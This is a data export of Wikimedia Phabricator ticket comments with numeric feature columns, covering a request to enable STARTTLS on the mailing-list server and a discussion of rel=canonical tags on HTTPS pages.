+82576,Enable STARTTLS (both inbound and outbound) on lists,lists should offer STARTTLS encryption on inbound mail and negotiate TLS on outbound mail as well.,High,80.0,1367525524,1442835795.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-4j2dctchb5aolz7ppy73,task_description,resolved,True,c2,1,True,False,False,-17,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+535474,Enable STARTTLS (both inbound and outbound) on lists,"Change 231973 abandoned by Ori.livneh:
+Add simple haveged module; apply on fermium
+
+Reason:
+Not needed.
+
+[[https://gerrit.wikimedia.org/r/231973]]",,,1443213401,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,False,,,108,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+531251,Enable STARTTLS (both inbound and outbound) on lists,This should be done now.,,,1442835795,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,True,,,107,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+531205,Enable STARTTLS (both inbound and outbound) on lists,"Change 239800 merged by Faidon Liambotis:
+mailman: enable TLS for lists.wikimedia.org
+
+[[https://gerrit.wikimedia.org/r/239800]]",,,1442830233,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,False,,,107,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+531204,Enable STARTTLS (both inbound and outbound) on lists,"Change 239800 had a related patch set uploaded (by Faidon Liambotis):
+mailman: enable TLS for lists.wikimedia.org
+
+[[https://gerrit.wikimedia.org/r/239800]]
+",,,1442830203,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,False,,,107,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+530410,Enable STARTTLS (both inbound and outbound) on lists,This is now unblocked since mailman has been migrated.,,,1442597317,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,True,,,107,True,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+502708,Enable STARTTLS (both inbound and outbound) on lists,ticket is a duplicate of T101451,,,1438796890,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,True,,,101,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+464165,Enable STARTTLS (both inbound and outbound) on lists,"Also this one.
+http://onerng.info/
+Not yet shipping??",,,1432683502,,PHID-USER-siktv47fljwejss47lay,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,False,,,90,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+464164,Enable STARTTLS (both inbound and outbound) on lists,"FWIW: Here are some HW random number generators that may help with the entropy needs.
+
+http://www.araneus.fi/products/alea2/en/
+https://www.tindie.com/products/WaywardGeek/infinite-noise/
+
+These are both relatively inexpensive.
+
+Would that help make this deployable?
+
+Cheers,
+
+Joel",,,1432683149,,PHID-USER-siktv47fljwejss47lay,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,False,,,90,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0
+373284,Enable STARTTLS (both inbound and outbound) on lists,"%%%On Tue Sep 16 11:22:04 2014, fgiunchedi wrote:%%%
+> On Wed Dec 11 11:03:30 2013, mark wrote:
+> >
+> > On Nov 21, 2013, at 5:52 AM, Faidon Liambotis via RT <ops-requests-
+> > <comment at wikimedia>
+>
+> re: entropy if that turns out to be still a problem we can use
+> something like
+> haveged",,,1410868193,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,True,,,54,True,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+373275,Enable STARTTLS (both inbound and outbound) on lists,"%%%On Wed Dec 11 11:03:30 2013, mark wrote:%%%
+>
+> On Nov 21, 2013, at 5:52 AM, Faidon Liambotis via RT <ops-requests-
+> <comment at wikimedia> we had this enabled once upon a time, but the list server kept
+> running out of random entropy. Since it wasn't all that useful and I
+> had no time to deal with it, I just disabled it at the time.
+>
+> I'm not at all against having this reenabled, just be aware that this
+> can be an issue.
+%%%FWIW I think that despite no cert validation we still want to encrypt smtp%%%
+%%%traffic (we could audit certificate fingerprints, if anything)%%%
+%%%re: entropy if that turns out to be still a problem we can use something like%%%
+%%%haveged%%%",,,1410866524,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,True,,,54,True,1,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+373264,Enable STARTTLS (both inbound and outbound) on lists,"%%%On Nov 21, 2013, at 5:52 AM, Faidon Liambotis via RT <ops-requests-comment at wikimedia> we had this enabled once upon a time, but the list server kept running out of random entropy. Since it wasn't all that useful and I had no time to deal with it, I just disabled it at the time.%%%
+%%%I'm not at all against having this reenabled, just be aware that this can be an issue.%%%
+%%%--%%%
+%%%Mark Bergsma <mark at wikimedia>%%%
+%%%Lead Operations Architect%%%
+%%%Wikimedia Foundation%%%",,,1386759810,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,False,,,15,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+373250,Enable STARTTLS (both inbound and outbound) on lists,"%%%On Thu, Nov 21, 2013 at 04:45:45AM +0000, Ken Snider via RT wrote:%%%
+>Any chance we could consider this as part of the mail migration?
+%%%Yup, it's already in the TODO.%%%
+%%%Note that the actual security benefit of this is very disputable. Noone%%%
+%%%checks for certificate signatures and rejects, ever. There is no known%%%
+%%%equivalent to browser CAs for mail certificates. At Debian we even do%%%
+%%%DANE, noone checks that either :)%%%
+%%%I assume this came from EFF's matrix. They know that noone does%%%
+%%%validation as well and are discussing ways to fix this. I'm not very%%%
+%%%optimistic.%%%
+%%%Regards,%%%
+%%%Faidon%%%",,,1385009538,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,True,,,12,True,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1
+373238,Enable STARTTLS (both inbound and outbound) on lists,"`ksnider  wrote:`
+
+%%%Mark / Faidon,%%%
+%%%Any chance we could consider this as part of the mail migration?%%%
+%%%Thanks.%%%
+%%%--Ken.%%%",,,1385009145,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,False,,,12,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+373223,Enable STARTTLS (both inbound and outbound) on lists,"`<mdennis at wikimedia>  wrote:`
+
+%%%Thank you both. :)%%%
+%%%I'll let the correspondent know that it's being looked at.%%%
+%%%Maggie%%%
+%%%On Sun, May 12, 2013 at 9:50 AM, Jeremy Baron via RT <%%%
+%%%<ops-requests at wikimedia> wrote:%%%
+> This already was in RT via dzahn via postmaster@. (same user reported
+> it) Merging.
+>
+%%%--%%%
+%%%Maggie Dennis%%%
+%%%Senior Community Advocate%%%
+%%%Wikimedia Foundation, Inc.%%%",,,1368467479,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1
+373214,Enable STARTTLS (both inbound and outbound) on lists,Merged into ticket #5075 by jeremyb,,,1368366685,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+373204,Enable STARTTLS (both inbound and outbound) on lists,Merged into ticket #5075 by jeremyb,,,1368366685,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+373194,Enable STARTTLS (both inbound and outbound) on lists,//Status changed from 'new' to 'open' by RT_System//,,,1368366659,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+373185,Enable STARTTLS (both inbound and outbound) on lists,"%%%This already was in RT via dzahn via postmaster@. (same user reported%%%
+%%%it) Merging.%%%",,,1368366658,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1
+373175,Enable STARTTLS (both inbound and outbound) on lists,"`wooster  wrote:`
+
+%%%Hi Maggie,%%%
+%%%I will get the discussion going on this with the team. It is a 'nice to%%%
+%%%have' feature to enable (IMHO) and would need some work on our side.%%%
+%%%Thanks,%%%
+%%%CT%%%
+%%%On Fri, May 10, 2013 at 10:19 AM, Wikimedia Answers%%%
+%%%<answers at wikimedia>%%%
+> Hello, CT. :)
+>
+> I'm told that I should send this to you - can you help this gentleman or
+> tell me to whom I should refer him instead?
+>
+> Maggie
+>
+> ---------- Forwarded message ----------
+> From: Rich Wales <richw at richw>
+> To: <answers at wikimedia>
+>
+>
+>  Hi.  I sent a message about the following issue to *
+> <postmaster at wikimedia> (Postfix) with ESMTP id A4BE717403E0
+> 	for <richw at richw> <richw at richw>; Thu,  2 May 2013 11:53:45 -0700 (PDT)
+>
+> It also appears that *lists.wikimedia.org* does not offer STARTTLS to
+> SMTP clients.  I tried connecting to it just now, and here is what I saw;
+> note that the list of capabilities in the EHLO response does not mention
+> STARTTLS:
+>
+> 220 sodium.wikimedia.org ESMTP Exim 4.71 Thu, 02 May 2013 19:04:00 +0000
+> ehlo pigeon.richw.org
+> 250-sodium.wikimedia.org Hello whodunit.stanford.edu [68.65.164.12]
+> 250-SIZE 52428800
+> 250-PIPELINING
+> 250 HELP
+> quit
+> 221 sodium.wikimedia.org closing connection
+>
+> I realize you can't fully control the security of other hosts which send
+> mail to, or receive mail from, your server.  However, it seems to me that
+> enabling STARTTLS on *lists.wikimedia.org* (both in its SMTP server and
+> its SMTP client code) would be a step in the right direction.
+>
+> Any thoughts on this?
+> ~~
+> *Rich Wales* (Richwales <http://en.wikipedia.org/wiki/User:Richwales>) *--
+> no relation to Jimbo*
+>
+>",,,1368223415,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-16,True,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,0,1,0,0,1,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+373159,Enable STARTTLS (both inbound and outbound) on lists,"%%%The problem in the past was that this would use up (starve) all random entropy%%%
+%%%because of the many deliveries, and then block. But with newer hardware and%%%
+%%%potentially hw RNGs, the situation may be better now. We can test it again.%%%
+%%%--%%%
+%%%Mark Bergsma <mark at wikimedia>%%%
+%%%Lead Operations Architect%%%
+%%%Wikimedia Foundation%%%",,,1367835548,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-17,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,1
+373146,Enable STARTTLS (both inbound and outbound) on lists,Issue taken by **mark**,,,1367835485,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+373132,Enable STARTTLS (both inbound and outbound) on lists,//Subject changed from 'Fwd: Potential security issue with mail from lists.wikimedia.org' to 'enable STARTTLS (both inbound and outbound) on sodium MTA' by jeremyb//,,,1367554439,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+373122,Enable STARTTLS (both inbound and outbound) on lists,//Status changed from 'new' to 'open' by RT_System//,,,1367554439,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+373113,Enable STARTTLS (both inbound and outbound) on lists,"%%%Add mark to CC. Should also test mchenry, etc. too.%%%",,,1367554439,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+373105,Enable STARTTLS (both inbound and outbound) on lists,//Cc mark added by jeremyb//,,,1367554310,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+373099,Enable STARTTLS (both inbound and outbound) on lists,//AdminCc jeremyb added by jeremyb//,,,1367537564,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+373091,Enable STARTTLS (both inbound and outbound) on lists,//AdminCc thehelpfulone added by thehelpfulone//,,,1367534821,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+50402,rel=canonical of https pages should point to http,"According to Google, HTTPS versions of our pages should have the rel=canonical head tag that points to the http version. See http://support.google.com/webmasters/bin/answer.py?hl=en&answer=139394
+
+I can't remember that we ever had it like this, but if Google suddenly started enforcing this, then it might explain the http-https google split and google rank penalty that Wikid77 has been discussing on WP:VP/T.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**URL**: http://support.google.com/webmasters/bin/answer.py?hl=en&answer=139394
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=25882
+https://bugzilla.wikimedia.org/show_bug.cgi?id=28602
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51002",High,80.0,1368450780,1375296015.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-ejy2ovqtrrcrq3a6rrl7,task_description,resolved,True,c2,1,False,False,True,-16,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+221337,rel=canonical of https pages should point to http,"Created attachment 13066
+SSL cluster eqiad network_report
+
+Also for the records, from #wikimedia-operations:
+
+18.15 < Ryan_Lane> looks like the rel=canonical change helped
+18.15 < Ryan_Lane> https://ganglia.wikimedia.org/latest/graph.php?r=week&z=xlarge&c=SSL+cluster+eqiad&m=cpu_report&s=by+name&mc=2&g=network_report
+18.15 < Ryan_Lane> I had a feeling that was causing the surge
+18.16 < Ryan_Lane> I'm surprised how quickly it helped, though
+
+**Attached**: {F10697}",,,1375808325,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ejy2ovqtrrcrq3a6rrl7,task_subcomment,,True,c2,2,True,,,-4,True,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+221335,rel=canonical of https pages should point to http,https://gerrit.wikimedia.org/r/76856 has been submitted and merged. I imagine it'll be deployed shortly.,,,1375295728,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ejy2ovqtrrcrq3a6rrl7,task_subcomment,,True,c2,1,True,,,-4,True,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+221333,rel=canonical of https pages should point to http,Yep,,,1375237498,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-ejy2ovqtrrcrq3a6rrl7,task_subcomment,,True,c2,1,False,,,-4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+221331,rel=canonical of https pages should point to http,"(In reply to comment #3)
+> Until we're ready to switch to HTTPS for anons by default it makes sense to
+> point HTTPS versions of pages to HTTP via rel=canonical. We should be setting
+> one or the other, rather than having a split.
+> 
+> The load on the SSL cluster has been doubling month by month and this split
+> may be the reason why. Unfortunately we don't have conclusive metrics to prove
+> this, but making this setting explicit rules that out as a possibility.
+
+So we should do this one now and bug 51002 next month/quarter/year/decade when we get around to it?",,,1375233942,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ejy2ovqtrrcrq3a6rrl7,task_subcomment,,True,c2,1,True,,,-4,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+221327,rel=canonical of https pages should point to http,"Until we're ready to switch to HTTPS for anons by default it makes sense to point HTTPS versions of pages to HTTP via rel=canonical. We should be setting one or the other, rather than having a split.
+
+The load on the SSL cluster has been doubling month by month and this split may be the reason why. Unfortunately we don't have conclusive metrics to prove this, but making this setting explicit rules that out as a possibility.",,,1375225337,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-ejy2ovqtrrcrq3a6rrl7,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+221322,rel=canonical of https pages should point to http,"I would strongly suggest WONTFIXing this bug in favour of 51002, which feels like a better solution given our long terms goals (see bug 47832).",,,1373379788,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ejy2ovqtrrcrq3a6rrl7,task_subcomment,,True,c2,1,True,,,-8,True,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+221319,rel=canonical of https pages should point to http,"(In reply to comment #0)
+> it might explain the http-https google split and google
+> rank penalty that Wikid77 has been discussing on WP:VP/T.
+
